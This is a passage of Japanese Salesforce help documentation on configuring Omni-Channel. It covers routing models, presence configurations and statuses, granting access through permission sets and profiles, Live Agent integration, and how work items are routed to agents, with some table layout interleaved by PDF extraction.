ます。エージェントが作業項目を却下した場合は、作
業項目をキューに戻して元の経過時間を設定し、適切
に再転送されるようにします。

受信した作業項目が、設定のサービスチャネルに割り
当てられているエージェントに転送される方法を決定
します。

ルーティングモデル

エージェントが対応すべき作業項目が別のエージェン
トに転送されるまでの時間制限を設定します。

転送タイムアウト (秒)
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作業項目サイズ

実行する内容設定

この設定に関連付けられたキューからの作業項目が
エージェントに割り当てられたときに、消費される
エージェントの全体的な業務量を示します。
エージェントの全体的な業務量は、エージェントが割
り当てられたプレゼンス設定の [業務量] 設定によっ

業務単位

て決定します。この設定に関連付けられたキューから
の作業項目がエージェントに割り当てられると、エー
ジェントの全体的な業務量から [業務量] が減算され
ます。エージェントには全体的な業務量が 0 になるま
で割り当てることができます。
[業務量]と [業務率]のいずれかを選択できますが、
両方を選択することはできません。

この設定に関連付けられたキューからの作業項目が
エージェントに割り当てられたときに、消費される
エージェントの全体的な業務量の割合です。
エージェントの全体的な業務量は、エージェントが割
り当てられたプレゼンス設定の [業務量] 設定によっ

業務率

て決定します。この設定に関連付けられたキューから
の作業項目がエージェントに割り当てられると、エー
ジェントの全体的な業務量から [業務率] が減算され
ます (残りの業務量が 0% になるまで割り当てることが
できます)。
[業務量]と [業務率]のいずれかを選択できますが、
両方を選択することはできません。

オムニチャネルのルーティングモデルオプション

エディション

使用可能なインター
フェース: Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

オムニチャネルを使用して、受信した作業項目をエージェントに転送する方法
を指定します。
オムニチャネルでは、作業項目が、適切なキューに割り当てられたエージェン
トに自動的に転送されます。
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例説明転送オプション

受信した作業項目が、オープンの
作業量が一番少ないエージェント

対応中件数が最小 • エージェント A とエージェント
B はどちらも全体の業務量が 5 で
す。に転送されます。作業項目がどれ

も業務量を 1 消費する場合は、作業
• エージェント A には業務量の影

響が 1 のアクティブな作業項目項目数が一番少ないエージェント
に受信した作業が転送されます。 が 3 つあります。エージェント例は、エージェントが対応してい

B には業務量の影響が 4 のアクる作業によって業務量の影響が異
なるシナリオを示しています。 ティブな作業項目が 1 つありま

す。
• エージェント A のほうがエー

ジェント B より業務量の影響が
少ないため、受信した作業項目
はエージェント A に転送されま
す。

受信した作業項目が、作業項目の
業務量とオープンの作業項目の差

対応余力が最大 • エージェント A とエージェント
B はどちらも全体の業務量が 5 で
す。が一番大きいエージェントに転送

されます。業務量は、エージェン
• エージェント A にはアクティブ

な作業項目が 3 つ、エージェン
ト B には 1 つあります。

トが割り当てられたプレゼンス設
定によって決定します。

• エージェント B の方が業務量の
空きが多いため、受信した作業
項目はエージェント B に転送さ
れます。

3085

オムニチャネルの設定カスタマーサポートツールの設定および管理



ルーティング設定およびエージェントのキューへの関連付け

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

キューは Salesforce の典型的な要素で、チームがリード、ケース、およびカスタ
ムオブジェクトを管理するうえで役立ちます。オムニチャネルにより、作業項
目をリアルタイムにエージェントに転送するキューの機能が向上します。オム
ニチャネルは作業項目をエージェントに自動的かつリアルタイムに転送するた
め、エージェントが作業項目をキューから手動で選択する必要がありません。
キュー内の作業項目には、作成済みのルーティング設定で指定した優先度が割
り当てられます。組織ですでにキューを使用している場合は、使用可能なキュー
を再使用できます。このため、これらのキューに割り当てられているエージェ
ントに作業項目をリアルタイムで転送できます。
組織でキューを使用していない場合は、少なくとも 1 つ作成してオムニチャネ
ルと統合します。作業項目の種別ごとに複数のキューを作成することもできま
す。たとえば、あるキューは受信ケース用、別のキューは受信リード用にする
ことが考えられます。
ルーティングを正しく機能させるには、エージェントが作業項目を受信する
キューに各エージェントを割り当てます。
キューについての詳細は、Salesforce ヘルプの「キューの概要」を参照してくだ
さい。
1. [設定] から、[クイック検索] ボックスに「キュー」と入力し、[キュー] を選

択します。
2. 新しいキューを作成するか、既存のキューを編集します。
3. [ルーティング設定] 項目で、キューに関連付けるルーティング設定を見つけます。
4. [キューメンバー] セクションで、エージェントを [選択済みのユーザ] 項目に追加します。

追加されたエージェントは、このキューからの作業項目を受信します。
5. [保存] をクリックします。
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プレゼンス設定の作成

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

ここではエージェントに的を絞って説明します。プレゼンス設定により、エー
ジェントが受け入れ可能な作業量と、顧客に対応中にエージェントがアクセス
できるオムニチャネルの動作が決まります。さまざまなチャネルのサポートを
行うエージェントのグループごとに異なる設定を定義できます。
組織でオムニチャネルを有効にすると、Salesforce が自動的に「デフォルトのプ
レゼンス設定」というプレゼンス設定を作成します。すべてのエージェントが、
この設定に自動的に割り当てられます。また、プレゼンス設定を作成してエー
ジェントを個別にその設定に割り当て、一部のエージェント向けのオムニチャ
ネル設定をカスタマイズすることもできます。エージェントをカスタムプレゼ
ンス設定に再割り当てすると、そのエージェントはデフォルトのプレゼンス設
定から除外されます。
1. [設定] から、[クイック検索] ボックスに「プレゼンス」と入力し、[プレゼン

ス設定] を選択して [新規] をクリックします。
2. プレゼンスに関する設定を選択します。
3. [保存] をクリックします。

プレゼンスに関する設定
プレゼンスに関する設定をカスタマイズして、エージェントに割り当てるオ
ムニチャネル設定を定義します。

プレゼンスに関する設定

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プレゼンスに関する設定をカスタマイズして、エージェントに割り当てるオム
ニチャネル設定を定義します。

基本情報
次の設定は、エージェントがオムニチャネルにサインインしたときに、そのエー
ジェントが使用できる基本機能を定義します。

実行する内容設定

プレゼンス設定に名前を付けます。
この設定の名前、つまりバージョンは
自動的に [API 参照名]になります。

プレゼンス設定名

設定に API 名を付けます。API 参照名

エージェントの最大業務量を決定しま
す。エージェントの業務量は、ルー

業務量

ティング設定で指定した作業項目のサ
イズで消費されます。
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実行する内容設定

エージェントに転送された割り当て作業を自動的に
受け入れます。これらの作業項目はエージェントの

自動的に要求を受け入れる

ワークスペースに自動的にオープンになるため、エー
ジェントがオムニチャネルフッターウィジェットで
作業項目を手動で受け入れる必要がありません。
[エージェントが要求を拒否できる]が有効になってい
る場合は、この設定を使用できません。

エージェントが受信した作業項目を拒否できます。
[自動的に要求を受け入れる] が有効になっている場
合は、エージェントが要求を却下できません。

エージェントが要求を拒否できる

エージェントが作業項目を却下したときに、エージェ
ントの状況を指定した状況に自動的に変更します。
この設定は、[エージェントが要求を拒否できる]が有
効の場合にのみ使用できます。

拒否時に状況を更新

エージェントが割り当て作業を拒否するときに理由
を選択できます。
この設定は、[エージェントが要求を拒否できる]が有
効の場合にのみ使用できます。

エージェントが拒否理由を選択できる

エージェントに転送された割り当て作業がタイムア
ウトしたときに、エージェントの状況を自動的に変
更します。
この設定は、[転送タイムアウト] が有効の場合にの
み使用できます。

転送のタイムアウト時に状況を更新

作業要求を受信したときにエージェントのウィジェッ
トでサウンドを鳴らします。

要求サウンドの有効化

オムニチャネルへの接続が失われたときにエージェ
ントのウィジェットでサウンドを鳴らします。

切断サウンドの有効化

拒否理由の割り当て
次の設定は、[エージェントが要求を拒否できる] および [エージェントが拒否理由を選択できる] が選択されて
いる場合に表示されます。

実行する内容設定

設定に割り当てることができる拒否理由を示します。選択可能な拒否理由
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実行する内容設定

設定に割り当てられた拒否理由を示します。選択された拒否理由

ユーザの割り当て
資格のあるユーザを設定に割り当てて、オムニチャネル機能へのアクセス権を付与します。その後、プロファ
イルを設定に割り当てることもできます。プロファイルおよびユーザレベルでユーザが設定に割り当てられて
いる場合は、ユーザのプロファイルに割り当てられた設定よりユーザレベル設定が優先されます。

警告: ユーザは一度に 1 つのプレゼンス設定のみに割り当てることができます。同じユーザを 2 つ目のプ
レゼンス設定に割り当てると、警告なしで最初のプレゼンス設定からユーザが削除されます。そのため、
各ユーザをどのプレゼンス設定に割り当てる必要があるかを正確に把握してください。
たとえば、ユーザ A がプレゼンス設定 A に割り当てられているとします。その後、プレゼンス設定 B を作
成し、ユーザ A を誤ってその設定に割り当てたとします。Salesforceから通知されることなく、ユーザ A は
プレゼンス設定 A から削除され、プレゼンス設定 B に再割り当てられます。

実行する内容設定

設定に割り当てることができるユーザを示します。選択可能なユーザ

設定に割り当てられたユーザを示します。選択済みのユーザ

プロファイルの割り当て
資格のあるプロファイルを設定に割り当てて、そのプロファイルに関連付けられたユーザにオムニチャネル機
能へのアクセス権を付与します。プロファイルおよびユーザレベルでユーザが設定に割り当てられている場合
は、ユーザのプロファイルに割り当てられた設定よりユーザレベル設定が優先されます。

実行する内容設定

設定に割り当てることができるユーザプロファイル
を示します。

選択可能なプロファイル

設定に割り当てられたユーザプロファイルを示しま
す。

選択済みプロファイル
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プレゼンス状況の作成

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入
れ可能か、退席中あるいはオフラインかを示します。
プレゼンス状況には、作業項目の 1 つ以上のチャネルを含めることができます。
たとえば、チャットとメールのサービスチャネルに対応する「Web サポート対
応可能」というプレゼンス状況を作成することが考えられます。エージェント
がこのプレゼンス状況にサインインすると、受信したチャットとメールを受け
入れることができます。画期的なシステムです。
1. [設定] から、[クイック検索] ボックスに「プレゼンス」と入力し、[プレゼン

ス状況] を選択して [新規] をクリックします。
2. プレゼンス状況の設定を選択します。
3. [保存] をクリックします

プレゼンス状況設定
プレゼンス状況設定をカスタマイズして、各種の状況に割り当てるサービス
チャネルを定義します。エージェントは、受け入れ可能な作業の種別に応じ
て、異なる状況でオムニチャネルにサインインできます。

プレゼンス状況設定

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プレゼンス状況設定をカスタマイズして、各種の状況に割り当てるサービスチャ
ネルを定義します。エージェントは、受け入れ可能な作業の種別に応じて、異
なる状況でオムニチャネルにサインインできます。

基本情報
次の設定を使用してプレゼンス状況に名前を付けます。

実行する内容設定

プレゼンス状況に名前を付けます。
このプレゼンス状況名、またはその
バージョンが自動的に [API 参照名]

になります。

状況名

プレゼンス状況に API 名を付けます。API 参照名

状況オプション
次の設定は、各状況を使用するエージェントがオンラインか取り込み中かを示します。
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実行する内容設定

この状況を使用するエージェントは、新しい作業項
目を受け入れることができます。

オンライン

この状況を使用するエージェントは、退席中と表示
され、新しい作業項目を受け入れられないことを示
します。

取り込み中

サービスチャネル
サービスチャネルをプレゼンス状況に割り当てます。次のプレゼンス状況でサインインしたエージェントは、
選択したチャネルから作業項目を受け入れることができます。

実行する内容設定

プレゼンス状況に割り当てることが可能なサービス
チャネルを示します。

選択可能なチャネル

プレゼンス状況に割り当てられているサービスチャ
ネルを示します。

選択済みのチャネル

プレゼンス状況へのアクセス権の設定

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入
れ可能か、退席中あるいはオフラインかを示します。オムニチャネルのプレゼ
ンス状況を作成したら、ユーザがアクセスする方法を設定する必要があります。
権限セットまたはプロファイルを使用してアクセス権を設定できます。

権限セットを使用したプレゼンス状況へのユーザアクセス権の付与
特定の権限セットに割り当てられたエージェントがプレゼンス状況を使用で
きるようにします。
プロファイルを使用したプレゼンス状況へのユーザアクセス権の付与
特定のプロファイルに割り当てられたエージェントがプレゼンス状況を使用
できるようにします。
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権限セットを使用したプレゼンス状況へのユーザアクセス権の付与

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

権限セットを変更する
• 「プロファイルと権限

セットの管理」

特定の権限セットに割り当てられたエージェントがプレゼンス状況を使用でき
るようにします。
プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入
れ可能か、退席中あるいはオフラインかを示します。権限セットまたはプロファ
イルを使用して、プレゼンス状況へのアクセス権をユーザに付与できます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 状況へのアクセス権を付与する権限セットの名前をクリックします。
3. [サービスプレゼンス状況のアクセス権] をクリックします。
4. [編集] をクリックします。
5. 権限セットに関連付けるプレゼンス状況を選択します。

この権限セットに関連付けられたエージェントは、使用できるいずれかのプ
レゼンス状況でオムニチャネルにサインインできます。

6. [保存] をクリックします
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プロファイルを使用したプレゼンス状況へのユーザアクセス権の付与

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

プロファイルを変更する
• 「プロファイルと権限

セットの管理」

特定のプロファイルに割り当てられたエージェントがプレゼンス状況を使用で
きるようにします。
プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入
れ可能か、退席中あるいはオフラインかを示します。プロファイルまたは権限
セットを使用して、プレゼンス状況へのアクセス権をユーザに付与できます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. 状況へのアクセス権を付与するプロファイルの名前をクリックします。

プロファイル名の横にある [編集]をクリックしないでください。クリックす
ると、状況を有効にできる適切なページセクションが表示されません。

3. [有効なサービスプレゼンス状況アクセス] セクションで、[編集] をクリック
します。

4. プロファイルに関連付けるプレゼンス状況を選択します。
このプロファイルに関連付けられたエージェントは、使用できるいずれかの
プレゼンス状況でオムニチャネルにサインインできます。

5. [保存] をクリックします

オムニチャネルウィジェットの Salesforce コンソールへの追加

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

オムニチャネルを組織向けにすべて設定したら、次にオムニチャネルウィジェッ
トを Salesforce コンソールに追加して、エージェントが作業の受け入れを開始で
きるようにします。
オムニチャネルウィジェットは、Salesforce コンソールの右下に表示されます。
エージェントはここから、各自のプレゼンス状況を変更したり、受信した割り
当て作業に優先順位を付けたりすることができます。

メモ: 組織で Live Agent を使用してチャットを管理する場合、Live Agent ウィ
ジェットまたはオムニチャネルウィジェットを使用してチャットを管理で
きますが、両方を使用することはできません。Live Agent の管理についての
詳細は、「既存の Live Agent 実装でのオムニチャネルの使用」を参照してく
ださい。

1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア
プリケーション] を選択します。

2. オムニチャネルウィジェットを追加するSalesforce コンソールアプリケーショ
ンの横にある [編集] をクリックします。

3. [コンソールコンポーネントを選択] セクションで、オムニチャネルを選択済
みの項目のリストに追加します。
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4. [保存] をクリックします。

コンパクトレイアウトを使用した、オムニチャネルウィジェットに参照可能な作業項目の詳細の制御
エージョンがオムニチャネルウィジェットで新しい作業項目を取得したときに表示される情報をカスタマ
イズできます。You can! その作業項目のオブジェクト用に主コンパクトレイアウトをカスタマイズするだけ
です。

コンパクトレイアウトを使用した、オムニチャネルウィジェットに参照可能な作業項目の
詳細の制御

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

エージョンがオムニチャネルウィジェットで新しい作業項目を取得したときに
表示される情報をカスタマイズできます。You can! その作業項目のオブジェクト
用に主コンパクトレイアウトをカスタマイズするだけです。
新しい作業項目要求をよく見ると、デフォルトでいくつかの項目が表示されて
いることに気がつくでしょう。たとえば、エージェントがケース管理の要求を
受信すると、要求にデフォルトでケースの優先度、状況、ケース番号などの特
徴が示されます。オブジェクトの主コンパクトレイアウトは、オムニチャネル
ウィジェットに表示されるすべての項目を制御します。ケースの所有者やその
件名など、さらなる情報を表示するにはどうすればよいのでしょうか。その場
合は、ウィジェットに表示する項目が含まれるように主コンパクトレイアウト
を編集します。

ヒント: オムニチャネルウィジェットはごくコンパクトなため、作業項目
要求に項目を表示するスペースがさほどありません。厳密に言えば、コン
パクトレイアウトには項目を 10 個まで含めることができますが、オムニ
チャネルウィジェットには 4 項目のみが表示されます。ベストプラクティ
スとして、作業項目要求に開示する最も重要な項目を 4 つまで選択して、
コンパクトレイアウトに追加します。

1. 編集するオブジェクトのコンパクトレイアウトを決定します。
2. 作業項目を編集するオブジェクトの管理設定から、[コンパクトレイアウト] を選択し、[新規] を選択しま

す。
たとえば、ケースのコンパクトレイアウトを編集する場合、ケースのオブジェクト管理設定に移動し、[コ
ンパクトレイアウト] を選択して [新規] を選択します。

3. 表示する項目など、コンパクトレイアウトの設定を選択します。エージェントが要求を受信したときに、
選択した項目がオムニチャネルウィジェットに表示されます。

4. [保存] をクリックします。
5. 主コンパクトレイアウトを新しいレイアウトに変更するには、[コンパクトレイアウトの割り当て] > [割り

当ての編集] をクリックします。
6. [主コンパクトレイアウト] ドロップダウンリストから新しいコンパクトレイアウトを選択します。
7. [保存] をクリックします。
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オムニチャネル実装のテスト

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定す
る
• 「アプリケーションの

カスタマイズ」

オムニチャネルを設定して有効にしたら、実装をテストして正常に動作するこ
とを確認します。
実装をテストするには、Salesforce コンソールを使用して作業項目を自分自身に
転送します。
1. Salesforce コンソールにログインします。

必ずオムニチャネルの使用が有効になっているユーザとしてログインしま
す。機能をテストするという目的のため、オムニチャネルにサインインして
いる唯一のエージェントであることを確認します。

2. オムニチャネルウィジェットで、新しい作業項目を受け入ることが可能な状
況に変更します。

3. コンソールで、現在のプレゼンス状況のチャネルに対応するレコードに移動
します。
たとえば、「ケースに対応可能」という状況でログインした場合は、コン
ソールのオープンケースのリストに移動します。「ケースに対応可能」状況
はケースサービスチャネルに関連付けられているものと想定します。これ
は、「ケースに対応可能」状況をたとえばリードで使用できてもあまり意味
がないからです。

4. 自分自身に転送するレコードの横にあるチェックボックスをオンにします。
5. [所有者を変更] をクリックします。

[ケース所有者の変更] ページにリダイレクトされます。
6. [所有者] リストから [キュー] を選択します。
7. ルーティング設定に関連付けたキューの名前を入力します。
しばらく待機します。数秒でオムニチャネルウィジェットに受信要求通知が表示されます。

3095

オムニチャネルの設定カスタマーサポートツールの設定および管理



既存の Live Agent 実装でのオムニチャネルの使用

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent を気に入っていて、さらにオムニチャネルを追加する場合、システム
管理者と組織に次のような変更があります (エージェントに対する変更はありま
せん)。
Live Agent とオムニチャネルを組み合わせて使用することで、カスタマーサービ
スを次のレベルに進めることができます。設定が完了すれば、その 2 つは完全
に調和して機能します。
Live Agentは、Live Agentユーザが使用可能な動作と設定を制御する Live Agent設定
に基づいて機能します。同様に、オムニチャネルでは、プレゼンス設定を使用
してオムニチャネルユーザが使用可能な動作と設定が制御されます。Live Agent

をオムニチャネルと統合することで、チャットを他の作業項目と同じように転
送できます。あるいは、チャットのオムニチャネルルーティングを使用するこ
ともできます。どちらの方法で Live Agent と共にオムニチャネルを使用しても、
エージェントはオムニチャネルウィジェットで要求を受け入れるか、拒否する
ことができます。
Live Agentとオムニチャネルを統合すると、Live Agentユーザはオムニチャネルユー
ザにもなるため、チャットエージェントを Live Agent 設定とプレゼンス設定の両
方に関連付ける必要があります。オムニチャネルを現在の Live Agent 実装で有効
化すると、Salesforce がユーザに代わって一部の面倒な作業を行います。
組織の既存の各 Live Agent 設定に対して、Salesforce により次のことが実行されま
す。
• 各 Live Agent 設定に対応するプレゼンス設定を作成する
• 各プレゼンス設定の可能チャット数を、対応するLive Agent設定の値に設定す

る
• チャットエージェントを対応する新しいプレゼンス設定に割り当てる
Live Agent が有効になっているものの実装がない場合は、オムニチャネルを有効
にすると、Salesforce によって Live Agent サービスチャネルが作成されます。
これらはすべて Salesforce によって自動で行われるため、エージェントのワーク
フローは中断されません。エージェントは、コンソールのオムニチャネルウィ
ジェットからチャットの受け入れを開始できます。エージェントにとっての唯一の違いは、状況の設定やチャッ
ト通知の受け入れにコンソールのオムニチャネルウィジェットを使用することです。また、状況オプションも
変更されている場合があります。これは、オムニチャネルのプレゼンス状況は設定可能であるためです。

チャットの Live Agent ルーティングとオムニチャネルルーティングの比較
チャットのオムニチャネルルーティング (ベータ) を使用する場合とチャットの Live Agent ルーティングのま
まにする場合の利点と制限について説明します。
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チャットの Live Agent ルーティングとオムニチャネルルーティングの比較

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

チャットのオムニチャネルルーティング (ベータ) を使用する場合とチャットの
Live Agent ルーティングのままにする場合の利点と制限について説明します。
チャットのオムニチャネルルーティング (ベータ) を使用するかどうかを決定す
るときに、多数の留意事項があります。チャットのオムニチャネルルーティン
グは、Live Agentを初めて有効にしたとき、または [オムニ]ルーティングオプショ
ンを使用するチャットボタンを作成したときに有効になります。
Live Agent とオムニチャネルを併用しているときの 2 つのルーティングモデルオ
プションを比較してみましょう。

オムニチャネルルーティングLive Agent ルーティング

エージェントはオムニチャネルウィ
ジェットを使用して作業を処理しま
す。

エージェントはオムニチャネルウィ
ジェットを使用して作業を処理しま
す。

エージェントはオムニチャネルプレゼ
ンス (その設定可能な状況を含む) を使
用します。

エージェントはオムニチャネルプレゼ
ンス (その設定可能な状況を含む) を使
用します。

チャットのプレゼンス設定でオムニ
チャネルサウンド通知を使用します。

チャットのプレゼンス設定でオムニ
チャネルサウンド通知を使用します。

エージェント業務量は、オムニチャネ
ルで設定および消費されます。

エージェント業務量は、オムニチャネ
ルで設定および消費されます。

チャットはオムニチャネルキューを使
用してエージェントに転送されます。

チャットはスキルを使用してエージェ
ントに転送されます。

オムニチャネル作業でチャットに優先
順位が付けられ、キューを使用して相
対的に優先順位を付けることができま
す。

オムニチャネル作業でチャットには優
先順位が付けられず、相対的に優先順
位を付けることもできません。転送さ
れていないオムニチャネル項目は、常
にチャットの前に転送されます。

チャットのサイズをキューで設定でき
ます。

チャットのサイズは常に 1 です。

チャットスーパーバイザはOmni-Channel

Supervisorを使用してエージェントの活
チャットスーパーバイザは Live Agent

スーパーバイザパネルを使用して
動とリアルタイムデータを監視しま
す。

チャットを監視し、エージェントの
チャットを支援します。

チャットデータは Live Agent レポートだ
けでなくエージェント作業レポートに
も含まれます。

チャットのレポートとデータはオムニ
チャネルデータとは分離されます。
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オムニチャネルルーティングLive Agent ルーティング

Live Chat トランスクリプトはチャットが要求されたと
きに作成されます。

Live Chat トランスクリプトはチャットが終了するとき
に作成されます。

[待機中]、[進行中]、[終了済み] のチャットの Live Chat

トランスクリプトページをカスタマイズできます。
[終了済み] のチャットの Live Chat トランスクリプトペー
ジをカスタマイズできます。

見逃されたチャットの Live Chat トランスクリプトが作
成されるため、レポートには見逃されたチャットが含
まれます。

見逃されたチャットの Live Chat トランスクリプトは作
成されないため、レポートには見逃されたチャットが
含まれません。

エージェントはチャット中にチャットトランスクリプ
トをレコードと関連付けることができます。チャット

エージェントはチャットの終了後にのみチャットトラ
ンスクリプトをレコードと関連付けることができま
す。 トランスクリプト自体にこの操作を行うオプションが

あるか、コンソールサイドバーのルックアップコン
ポーネントを使用します。

オムニチャネルのコンソールインテグレーションツー
ルキットメソッドを使用します。

Live Agent のコンソールインテグレーションツールキッ
トメソッドを使用します。

ただし、チャットのオムニチャネルルーティングを使用する場合はいくつかの制限があります。
• Live Agent ルーティングを使用するボタンからオムニチャネルルーティングを使用するボタンにチャットを

転送することはできません。
• オムニチャネルで転送されるチャットでエージェントへの直接転送は使用できません。
• オムニチャネルで転送されるチャットでチャット会議は使用できません。
• 複数のオブジェクト種別があるキューでチャットのオムニチャネルルーティングを使用すると、問題が発

生する可能性があります。複数のオブジェクト種別を処理するようにキューを設定する代わりに、チャッ
ト、ケース、リードなどのオブジェクト種別ごとにキューを作成することをお勧めします。

• オムニチャネルで転送されるチャットでは、Omni-Channel Supervisorを使用したスーパーバイザ示唆メッセー
ジや支援フラグを使用することはできません。

• エージェントがオムニチャネルで転送されるチャットに「エージェントへの転送」を使用し、チャットを
受け取るエージェントが管理プロファイルを持つ場合、転送を開始したエージェントは受け取ったエージェ
ントがチャット要求を受け入れるまでチャットトランスクリプトを表示できません。これは、転送が開始
されてからそのチャットが次のエージェントによって受け入れられるまで、オムニチャネルによってチャッ
トトランスクリプトの所有権が変更されるためです。
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リファレンス

オムニチャネルの転送処理方法

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

データモデルに関心がありますか? ここでは、オムニチャネルの入出力で、作業
項目がどのようにエージェントに転送されるかについて説明します。オムニチャ
ネルは作業項目を適切な時間に適切なエージェントに転送するため、サポート
チームが顧客の問題に効率的に対応できます。転送処理がどのように実行され
るかについて見ていきましょう。
オムニチャネルは、2 つの異なるプロセスを使用して作業を転送します。
• 1 つ目は、新しい作業項目がオムニチャネルキューに割り当てられたときに、

オムニチャネルがその項目のエージェントへの転送を試みます。オムニチャ
ネルは割り当てられたキューの優先度で作業項目を転送するため、最も重要
な作業項目が最初にエージェントに転送されます。次に、キュー内で待機し
ている時間に基づいて項目が転送されます。最も古い作業項目は、より新し
い作業項目よりも前にエージェントに転送されます (この詳細については後
ほど説明します)。

• 2 つ目は、エージェントが作業を受け入れ可能になったときに (「退席中」でなくなった場合や、別の作業
項目が終了した場合など)、オムニチャネルがそのエージェントに転送できる作業項目を検索します。

新しい作業項目の転送
作業項目が作成されると、その項目はキューに割り当てられます。そのキューがルーティング設定に関連付け
られると、エージェントへの転送を待機している項目のリストに追加されます。
次に、オムニチャネルは対応可能なエージェント、および各エージェントの現在の作業量を判断します。この
情報は、エージェントの現在の作業項目の業務量を追跡する UserServicePresence API オブジェクトから取得され
ます。

待機中の作業項目の転送
新しい作業項目が待機中項目のリストに追加されると、オムニチャネルはその作業項目を即座にエージェント
に転送できるかどうかを判断します。
まず、適切なサービスチャネルにリンクされたプレゼンス状況でエージェントがオンラインであるかどうかを
判断します。たとえば、オムニチャネルキューに割り当てられた新しいケースを組織が受信したとします。オ
ムニチャネルは、ケース用のサービスチャネルがあるかどうかを判断します。次に、新しいケースを受け入れ
ることができるオンラインのエージェントを確認します。

影響シナリオ

オンラインで適切な状況のエージェントがいない場合
は、エージェントに割り当てる必要がある項目のリス
トに作業項目を保持します。

対応できるエージェントがいない。
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影響シナリオ

対応可能なエージェントが 1 人以上いる場合は、いず
れかのエージェントが新しい作業項目を受け入れるこ

エージェントは対応可能であるが、新しい作業を行う
余裕はない。

とができるかどうかを確認します。追加作業を受け入
れ可能なエージェントがいない場合は、作業項目をリ
スト内に残します。

1) 対応可能で 2) その項目を作業する余裕があるエー
ジェントが複数いる場合は、組織のルーティング設定

エージェントは対応可能であり、追加作業を行う余裕
がある。

に基づいてその作業項目に適任なエージェントを確認
します。
ルーティング設定で [最も利用されていない] ルーティ
ングモデルを使用している場合、作業項目を受け入れ
可能な他のエージェントと比べて現在の作業量が最も
少ないエージェントを探します。該当するエージェン
トに作業項目を転送します。
ルーティング設定で [最も利用されている] ルーティン
グモデルを使用している場合、処理可能な最大作業量
と現在作業中の作業量の差が最も大きいエージェント
を探します。該当するエージェントに作業項目を転送
します。
複数のエージェントの作業量の差が同じ場合はどうな
るでしょうか。その場合、新しい作業項目に対する待
機時間が最も長いエージェントに転送します。これに
より、特定のサポートスタッフの作業量が極端に少な
くなることを防ぎます。

エージェントの作業の受け入れ状況が変更された場合
エージェントがオムニチャネルにログインし、作業項目を終了するか状況が変更されると、オムニチャネルは
それらのエージェントが受け入れ可能な作業があるかどうかを確認します。

影響シナリオ

別のエージェントを探します。エージェントが退席中である。

別のエージェントを探します。エージェントは対応可能であるが、追加作業を行う余
裕はない。

エージェントに転送されるのを待機している作業項目
のリストを調べます。オブジェクトの処理に必要な

エージェントは対応可能であり、追加作業を行う余裕
がある。

